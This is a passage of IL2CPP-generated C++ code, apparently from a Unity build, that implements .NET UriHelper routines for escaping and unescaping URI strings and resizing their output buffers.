(!L_9) { goto IL_0250; } } { Il2CppChar* L_10 = V_3; int32_t L_11 = RuntimeHelpers_get_OffsetToStringData_mF3B79A906181F1A2734590DA161E2AF183853F8B(/*hidden argument*/NULL); V_3 = (Il2CppChar*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_10, (int32_t)L_11)); goto IL_0250; } IL_0041: { Il2CppChar* L_12 = V_3; int32_t L_13 = V_0; int32_t L_14 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_12, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_13)), (int32_t)2))))); V_5 = L_14; Il2CppChar L_15 = V_5; if ((((int32_t)L_15) <= ((int32_t)((int32_t)127)))) { goto IL_0140; } } { int32_t L_16 = ___end2; int32_t L_17 = V_0; IL2CPP_RUNTIME_CLASS_INIT(Math_tFB388E53C7FDC6FCCF9A19ABF5A4E521FBD52E19_il2cpp_TypeInfo_var); int32_t L_18 = Math_Min_mC950438198519FB2B0260FCB91220847EE4BB525(((int32_t)il2cpp_codegen_subtract((int32_t)L_16, (int32_t)L_17)), ((int32_t)39), /*hidden argument*/NULL); V_6 = (((int16_t)((int16_t)L_18))); V_7 = (int16_t)1; goto IL_006c; } IL_0065: { int16_t L_19 = V_7; V_7 = (((int16_t)((int16_t)((int32_t)il2cpp_codegen_add((int32_t)L_19, (int32_t)1))))); } IL_006c: { int16_t L_20 = V_7; int16_t L_21 = V_6; if ((((int32_t)L_20) >= ((int32_t)L_21))) { goto IL_0080; } } { Il2CppChar* L_22 = V_3; int32_t L_23 = V_0; int16_t L_24 = V_7; int32_t L_25 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_22, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_23, (int32_t)L_24)))), (int32_t)2))))); if ((((int32_t)L_25) > ((int32_t)((int32_t)127)))) { goto IL_0065; } } IL_0080: { Il2CppChar* L_26 = V_3; int32_t L_27 = V_0; int16_t L_28 = V_7; int32_t L_29 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_26, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_subtract((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_27, (int32_t)L_28)), (int32_t)1)))), (int32_t)2))))); if ((((int32_t)L_29) < ((int32_t)((int32_t)55296)))) { goto IL_00c9; } } { Il2CppChar* L_30 = V_3; int32_t L_31 = V_0; int16_t L_32 = V_7; int32_t L_33 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_30, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_subtract((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_31, (int32_t)L_32)), (int32_t)1)))), (int32_t)2))))); if ((((int32_t)L_33) > ((int32_t)((int32_t)56319)))) { goto IL_00c9; } } { int16_t L_34 = V_7; if ((((int32_t)L_34) == ((int32_t)1))) { goto IL_00b2; } } { int16_t L_35 = V_7; int32_t L_36 = ___end2; int32_t L_37 = V_0; if ((!(((uint32_t)L_35) == ((uint32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_36, (int32_t)L_37)))))) { goto IL_00c2; } } IL_00b2: { String_t* L_38 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral2028E589D6BB0C12D880EFA6E4DAB4AF32821B19, /*hidden argument*/NULL); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_39 = (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A *)il2cpp_codegen_object_new(UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var); UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D(L_39, L_38, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_39, NULL, UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_RuntimeMethod_var); } IL_00c2: { int16_t L_40 = V_7; V_7 = (((int16_t)((int16_t)((int32_t)il2cpp_codegen_add((int32_t)L_40, (int32_t)1))))); } IL_00c9: { Il2CppChar* L_41 = V_3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_42 = ___dest3; int32_t L_43 = V_0; int16_t L_44 = V_7; int32_t* L_45 = ___destPos4; int32_t L_46 = V_1; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_47 = UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217((Il2CppChar*)(Il2CppChar*)L_41, L_42, L_43, (((int16_t)((int16_t)((int32_t)il2cpp_codegen_multiply((int32_t)((int32_t)il2cpp_codegen_multiply((int32_t)L_44, (int32_t)4)), (int32_t)3))))), (int16_t)((int32_t)480), (int32_t*)L_45, L_46, /*hidden argument*/NULL); ___dest3 = L_47; Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * L_48 = Encoding_get_UTF8_m67C8652936B681E7BC7505E459E88790E0FF16D9(/*hidden argument*/NULL); Il2CppChar* L_49 = V_3; int32_t L_50 = V_0; int16_t L_51 = V_7; uint8_t* L_52 = V_2; NullCheck(L_48); int32_t L_53 = VirtFuncInvoker4< int32_t, Il2CppChar*, int32_t, uint8_t*, int32_t >::Invoke(28 /* System.Int32 System.Text.Encoding::GetBytes(System.Char*,System.Int32,System.Byte*,System.Int32) */, L_48, (Il2CppChar*)(Il2CppChar*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_49, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_50)), (int32_t)2)))), L_51, (uint8_t*)(uint8_t*)L_52, ((int32_t)160)); V_8 = (((int16_t)((int16_t)L_53))); int16_t L_54 = V_8; if (L_54) { goto IL_0111; } } { String_t* L_55 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral2028E589D6BB0C12D880EFA6E4DAB4AF32821B19, /*hidden argument*/NULL); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_56 = (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A *)il2cpp_codegen_object_new(UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var); UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D(L_56, L_55, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_56, NULL, UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_RuntimeMethod_var); } IL_0111: { int32_t L_57 = V_0; int16_t L_58 = V_7; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_57, (int32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_58, (int32_t)1)))); V_7 = (int16_t)0; goto IL_0131; } IL_011d: { uint8_t* L_59 = V_2; int16_t L_60 = V_7; int32_t L_61 = *((uint8_t*)((uint8_t*)il2cpp_codegen_add((intptr_t)L_59, (int32_t)L_60))); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_62 = ___dest3; int32_t* L_63 = ___destPos4; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_61, L_62, (int32_t*)L_63, /*hidden argument*/NULL); int16_t L_64 = V_7; V_7 = (((int16_t)((int16_t)((int32_t)il2cpp_codegen_add((int32_t)L_64, (int32_t)1))))); } IL_0131: { int16_t L_65 = V_7; int16_t L_66 = V_8; if ((((int32_t)L_65) < ((int32_t)L_66))) { goto IL_011d; } } { int32_t L_67 = V_0; V_1 = ((int32_t)il2cpp_codegen_add((int32_t)L_67, (int32_t)1)); goto IL_024c; } IL_0140: { Il2CppChar L_68 = V_5; if ((!(((uint32_t)L_68) == ((uint32_t)((int32_t)37))))) { goto IL_01e0; } } { Il2CppChar L_69 = ___rsvd8; if ((!(((uint32_t)L_69) == ((uint32_t)((int32_t)37))))) { goto IL_01e0; } } { Il2CppChar* L_70 = V_3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_71 = ___dest3; int32_t L_72 = V_0; int32_t* L_73 = ___destPos4; int32_t L_74 = V_1; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_75 = UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217((Il2CppChar*)(Il2CppChar*)L_70, L_71, L_72, (int16_t)3, (int16_t)((int32_t)120), (int32_t*)L_73, L_74, /*hidden argument*/NULL); ___dest3 = L_75; int32_t L_76 = V_0; int32_t L_77 = ___end2; if ((((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_76, (int32_t)2))) >= ((int32_t)L_77))) { goto IL_01d0; } } { Il2CppChar* L_78 = V_3; int32_t L_79 = V_0; int32_t L_80 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_78, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_79, (int32_t)1)))), (int32_t)2))))); Il2CppChar* L_81 = V_3; int32_t L_82 = V_0; int32_t L_83 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_81, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_82, (int32_t)2)))), (int32_t)2))))); IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); Il2CppChar L_84 = UriHelper_EscapedAscii_m06D556717795E649EBBB30E4CBCF3D221C1FEB78(L_80, L_83, /*hidden argument*/NULL); if ((((int32_t)L_84) == ((int32_t)((int32_t)65535)))) { goto IL_01d0; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_85 = ___dest3; int32_t* L_86 = ___destPos4; int32_t* L_87 = ___destPos4; int32_t L_88 = *((int32_t*)L_87); V_9 = L_88; int32_t L_89 = V_9; *((int32_t*)L_86) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_89, (int32_t)1)); int32_t L_90 = V_9; NullCheck(L_85); (L_85)->SetAt(static_cast<il2cpp_array_size_t>(L_90), (Il2CppChar)((int32_t)37)); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_91 = ___dest3; int32_t* L_92 = ___destPos4; int32_t* L_93 = ___destPos4; int32_t L_94 = *((int32_t*)L_93); V_9 = L_94; int32_t L_95 = V_9; *((int32_t*)L_92) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_95, (int32_t)1)); int32_t L_96 = V_9; Il2CppChar* L_97 = V_3; int32_t L_98 = V_0; int32_t L_99 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_97, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_98, (int32_t)1)))), (int32_t)2))))); NullCheck(L_91); (L_91)->SetAt(static_cast<il2cpp_array_size_t>(L_96), (Il2CppChar)L_99); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_100 = ___dest3; int32_t* L_101 = ___destPos4; int32_t* L_102 = ___destPos4; int32_t L_103 = *((int32_t*)L_102); V_9 = L_103; int32_t L_104 = V_9; *((int32_t*)L_101) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_104, (int32_t)1)); int32_t L_105 = V_9; Il2CppChar* L_106 = V_3; int32_t L_107 = V_0; int32_t L_108 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_106, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)((int32_t)il2cpp_codegen_add((int32_t)L_107, (int32_t)2)))), (int32_t)2))))); NullCheck(L_100); (L_100)->SetAt(static_cast<il2cpp_array_size_t>(L_105), (Il2CppChar)L_108); int32_t L_109 = V_0; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_109, (int32_t)2)); goto IL_01da; } IL_01d0: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_110 = ___dest3; int32_t* L_111 = ___destPos4; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(((int32_t)37), L_110, (int32_t*)L_111, /*hidden argument*/NULL); } IL_01da: { int32_t L_112 = V_0; V_1 = ((int32_t)il2cpp_codegen_add((int32_t)L_112, (int32_t)1)); goto IL_024c; } IL_01e0: { Il2CppChar L_113 = V_5; Il2CppChar L_114 = ___force16; if ((((int32_t)L_113) == ((int32_t)L_114))) { goto IL_01ec; } } { Il2CppChar L_115 = V_5; Il2CppChar L_116 = ___force27; if ((!(((uint32_t)L_115) == ((uint32_t)L_116)))) { goto IL_020c; } } IL_01ec: { Il2CppChar* L_117 = V_3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_118 = ___dest3; int32_t L_119 = V_0; int32_t* L_120 = ___destPos4; int32_t L_121 = V_1; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_122 = UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217((Il2CppChar*)(Il2CppChar*)L_117, L_118, L_119, (int16_t)3, (int16_t)((int32_t)120), (int32_t*)L_120, L_121, /*hidden argument*/NULL); ___dest3 = L_122; Il2CppChar L_123 = V_5; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_124 = ___dest3; int32_t* L_125 = ___destPos4; UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_123, L_124, (int32_t*)L_125, /*hidden argument*/NULL); int32_t L_126 = V_0; V_1 = ((int32_t)il2cpp_codegen_add((int32_t)L_126, (int32_t)1)); goto IL_024c; } IL_020c: { Il2CppChar L_127 = V_5; Il2CppChar L_128 = ___rsvd8; if ((((int32_t)L_127) == ((int32_t)L_128))) { goto IL_024c; } } { bool L_129 = ___isUriString5; if (L_129) { goto IL_0222; } } { Il2CppChar L_130 = V_5; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); bool L_131 = UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48(L_130, /*hidden argument*/NULL); G_B35_0 = ((((int32_t)L_131) == ((int32_t)0))? 1 : 0); goto IL_022c; } IL_0222: { Il2CppChar L_132 = V_5; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); bool L_133 = UriHelper_IsReservedUnreservedOrHash_m3D7256DABA7F540F8D379FC1D1C54F1C63E46059(L_132, /*hidden argument*/NULL); G_B35_0 = ((((int32_t)L_133) == ((int32_t)0))? 1 : 0); } IL_022c: { if (!G_B35_0) { goto IL_024c; } } { Il2CppChar* L_134 = V_3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_135 = ___dest3; int32_t L_136 = V_0; int32_t* L_137 = ___destPos4; int32_t L_138 = V_1; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_139 = UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217((Il2CppChar*)(Il2CppChar*)L_134, L_135, L_136, (int16_t)3, (int16_t)((int32_t)120), (int32_t*)L_137, L_138, /*hidden argument*/NULL); ___dest3 = L_139; Il2CppChar L_140 = V_5; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_141 = ___dest3; int32_t* L_142 = ___destPos4; UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902(L_140, L_141, (int32_t*)L_142, /*hidden argument*/NULL); int32_t L_143 = V_0; V_1 = ((int32_t)il2cpp_codegen_add((int32_t)L_143, (int32_t)1)); } IL_024c: { int32_t L_144 = V_0; V_0 = ((int32_t)il2cpp_codegen_add((int32_t)L_144, (int32_t)1)); } IL_0250: { int32_t L_145 = V_0; int32_t L_146 = ___end2; if ((((int32_t)L_145) < ((int32_t)L_146))) { goto IL_0041; } } { int32_t L_147 = V_1; int32_t L_148 = V_0; if ((((int32_t)L_147) == ((int32_t)L_148))) { goto IL_0271; } } { int32_t L_149 = V_1; int32_t L_150 = ___start1; if ((!(((uint32_t)L_149) == ((uint32_t)L_150)))) { goto IL_0262; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_151 = ___dest3; if (!L_151) { goto IL_0271; } } IL_0262: { Il2CppChar* L_152 = V_3; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_153 = ___dest3; int32_t L_154 = V_0; int32_t* L_155 = ___destPos4; int32_t L_156 = V_1; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_157 = UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217((Il2CppChar*)(Il2CppChar*)L_152, L_153, L_154, (int16_t)0, (int16_t)0, (int32_t*)L_155, L_156, /*hidden argument*/NULL); ___dest3 = L_157; } IL_0271: { V_4 = (String_t*)NULL; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_158 = ___dest3; return L_158; } } // System.Char[] System.UriHelper::EnsureDestinationSize(System.Char*,System.Char[],System.Int32,System.Int16,System.Int16,System.Int32U26,System.Int32) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217 (Il2CppChar* ___pStr0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest1, int32_t ___currentInputPos2, int16_t ___charsToAdd3, int16_t ___minReallocateChars4, int32_t* ___destPos5, int32_t ___prevInputPos6, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217_MetadataUsageId); s_Il2CppMethodInitialized = true; } CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_0 = NULL; int32_t V_1 = 0; { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_0 = ___dest1; if (!L_0) { goto IL_0012; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_1 = ___dest1; NullCheck(L_1); int32_t* L_2 = ___destPos5; int32_t L_3 = *((int32_t*)L_2); int32_t L_4 = ___currentInputPos2; int32_t L_5 = ___prevInputPos6; int16_t L_6 = ___charsToAdd3; if ((((int32_t)(((int32_t)((int32_t)(((RuntimeArray *)L_1)->max_length))))) >= ((int32_t)((int32_t)il2cpp_codegen_add((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_3, (int32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_4, (int32_t)L_5)))), (int32_t)L_6))))) { goto IL_0058; } } IL_0012: { int32_t* L_7 = ___destPos5; int32_t L_8 = *((int32_t*)L_7); int32_t L_9 = ___currentInputPos2; int32_t L_10 = ___prevInputPos6; int16_t L_11 = ___minReallocateChars4; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_12 = (CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2*)SZArrayNew(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2_il2cpp_TypeInfo_var, (uint32_t)((int32_t)il2cpp_codegen_add((int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_8, (int32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_9, (int32_t)L_10)))), (int32_t)L_11))); V_0 = L_12; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_13 = ___dest1; if (!L_13) { goto IL_0039; } } { int32_t* L_14 = ___destPos5; int32_t L_15 = *((int32_t*)L_14); if (!L_15) { goto IL_0039; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_16 = ___dest1; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_17 = V_0; int32_t* L_18 = ___destPos5; int32_t L_19 = *((int32_t*)L_18); Buffer_BlockCopy_m1F882D595976063718AF6E405664FC761924D353((RuntimeArray *)(RuntimeArray *)L_16, 0, (RuntimeArray *)(RuntimeArray *)L_17, 0, ((int32_t)((int32_t)L_19<<(int32_t)1)), /*hidden argument*/NULL); } IL_0039: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_20 = V_0; ___dest1 = L_20; goto IL_0058; } IL_003e: { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_21 = ___dest1; int32_t* L_22 = ___destPos5; int32_t* L_23 = ___destPos5; int32_t L_24 = *((int32_t*)L_23); V_1 = L_24; int32_t L_25 = V_1; *((int32_t*)L_22) = (int32_t)((int32_t)il2cpp_codegen_add((int32_t)L_25, (int32_t)1)); int32_t L_26 = V_1; Il2CppChar* L_27 = ___pStr0; int32_t L_28 = ___prevInputPos6; int32_t L_29 = L_28; ___prevInputPos6 = ((int32_t)il2cpp_codegen_add((int32_t)L_29, (int32_t)1)); int32_t L_30 = *((uint16_t*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_27, (intptr_t)((intptr_t)il2cpp_codegen_multiply((intptr_t)(((intptr_t)L_29)), (int32_t)2))))); NullCheck(L_21); (L_21)->SetAt(static_cast<il2cpp_array_size_t>(L_26), (Il2CppChar)L_30); } IL_0058: { int32_t L_31 = ___prevInputPos6; int32_t L_32 = ___currentInputPos2; if ((!(((uint32_t)L_31) == ((uint32_t)L_32)))) { goto IL_003e; } } { CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_33 = ___dest1; return L_33; } } // System.Char[] System.UriHelper::UnescapeString(System.String,System.Int32,System.Int32,System.Char[],System.Int32U26,System.Char,System.Char,System.Char,System.UnescapeMode,System.UriParser,System.Boolean) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_UnescapeString_mC172F713349E3D22985A92BC4F5B51D0BCEE61AF (String_t* ___input0, int32_t ___start1, int32_t ___end2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest3, int32_t* ___destPosition4, Il2CppChar ___rsvd15, Il2CppChar ___rsvd26, Il2CppChar ___rsvd37, int32_t ___unescapeMode8, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___syntax9, bool ___isQuery10, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_UnescapeString_mC172F713349E3D22985A92BC4F5B51D0BCEE61AF_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppChar* V_0 = NULL; String_t* V_1 = NULL; { String_t* L_0 = ___input0; V_1 = L_0; String_t* L_1 = V_1; V_0 = (Il2CppChar*)(((uintptr_t)L_1)); Il2CppChar* L_2 = V_0; if (!L_2) { goto IL_0010; } } { Il2CppChar* L_3 = V_0; int32_t L_4 = RuntimeHelpers_get_OffsetToStringData_mF3B79A906181F1A2734590DA161E2AF183853F8B(/*hidden argument*/NULL); V_0 = (Il2CppChar*)((Il2CppChar*)il2cpp_codegen_add((intptr_t)L_3, (int32_t)L_4)); } IL_0010: { Il2CppChar* L_5 = V_0; int32_t L_6 = ___start1; int32_t L_7 = ___end2; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_8 = ___dest3; int32_t* L_9 = ___destPosition4; Il2CppChar L_10 = ___rsvd15; Il2CppChar L_11 = ___rsvd26; Il2CppChar L_12 = ___rsvd37; int32_t L_13 = ___unescapeMode8; UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_14 = ___syntax9; bool L_15 = ___isQuery10; IL2CPP_RUNTIME_CLASS_INIT(UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var); CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* L_16 = UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89((Il2CppChar*)(Il2CppChar*)L_5, L_6, L_7, L_8, (int32_t*)L_9, L_10, L_11, L_12, L_13, L_14, L_15, /*hidden argument*/NULL); return L_16; } } // System.Char[] System.UriHelper::UnescapeString(System.Char*,System.Int32,System.Int32,System.Char[],System.Int32U26,System.Char,System.Char,System.Char,System.UnescapeMode,System.UriParser,System.Boolean) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89 (Il2CppChar* ___pStr0, int32_t ___start1, int32_t ___end2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest3, int32_t* ___destPosition4, Il2CppChar ___rsvd15, Il2CppChar ___rsvd26, Il2CppChar ___rsvd37, int32_t ___unescapeMode8, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___syntax9, bool ___isQuery10, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89_MetadataUsageId); s_Il2CppMethodInitialized = true; } ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* V_0 = NULL; uint8_t V_1 = 0x0; bool V_2 = false; int32_t V_3 = 0; bool V_4 = false; Il2CppChar* V_5 = NULL; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_6 = NULL; int32_t V_7 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_8 = NULL; Il2CppChar V_9 = 0x0; int32_t V_10 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_11 = NULL; int32_t V_12 = 0; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_13 = NULL; Il2CppChar* V_14 = NULL; CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* V_15 = NULL; int32_t V_16 = 0; Exception_t * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); void* __leave_targets_storage = alloca(sizeof(int32_t) * 3); il2cpp::utils::LeaveTargetStack __leave_targets(__leave_targets_storage); NO_UNUSED_WARNING (__leave_targets); int32_t G_B3_0 = 0; { V_0 = (ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821*)NULL; V_1 = (uint8_t)0; V_2 = (bool)0; int32_t L_0 = ___start1; V_3 = L_0; UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_1 = ___syntax9; IL2CPP_RUNTIME_CLASS_INIT(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var); bool L_2 = Uri_IriParsingStatic_m39FC9677B4B9EFBADF814F2EEA58280F35A1D3E5(L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_001a; } } { int32_t L_3 = ___unescapeMode8; G_B3_0 = ((((int32_t)((int32_t)((int32_t)L_3&(int32_t)3))) == ((int32_t)3))? 1 : 0); goto IL_001b; } IL_001a: { G_B3_0 = 0; } IL_001b: { V_4 = (bool)G_B3_0; } IL_001d: { 